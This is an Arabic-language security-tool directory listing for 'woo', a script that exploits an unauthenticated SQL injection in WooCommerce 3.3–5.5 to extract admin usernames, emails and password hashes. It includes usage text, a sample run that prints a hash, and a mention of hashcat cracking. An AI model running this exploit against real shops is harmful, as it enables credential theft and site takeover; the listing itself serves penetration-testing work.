Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
woo — استغلال ثغرة SQLI في woocommerce والتقاط هاش اسم المستخدم وكلمة المرور | Kitploit
أدوات/GitHubGitHub/randomrobbiebf/woo
هجمات كلمات المرورالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتاختبار الاختراق
GitHubrandomrobbiebf/woo

woo

استغلال ثغرة SQLI في woocommerce والتقاط هاش اسم المستخدم وكلمة المرور

عرض المستودع
21منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Woocommerce 3.3 إلى 5.5 - حقن SQL بدون مصادقة

https://wpscan.com/vulnerability/1212fec8-1fde-41e5-af70-abdd7ffe5379

استغل ثغرة SQLI في Woocommerce واحصل على اسم المستخدم وتجزئة كلمة المرور

الأوامر

root@kitploit:~
usage: woo.py [-h] [-u URL] [-f FILE] [-p PROXY] [-i WID]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL to test
  -f FILE, --file FILE  File of urls
  -p PROXY, --proxy PROXY
                        Proxy for debugging
  -i WID, --wid WID     User ID of User

إثبات المفهوم

root@kitploit:~
python3 woo.py -u https://www.website.com -i 1
root@kitploit:~
Admin ID: 2
Admin Username: [email protected]
Admin Email Address: [email protected]
Admin Password Hash:$P$BIAtNs11r0CBJZxa3B1JLrFd5C9f7r/

في كل مرة يتم تشغيله، يكتب التجزئات إلى wphash.has ويمنحك أمر hash cat لكسرها

تنزيل الأداة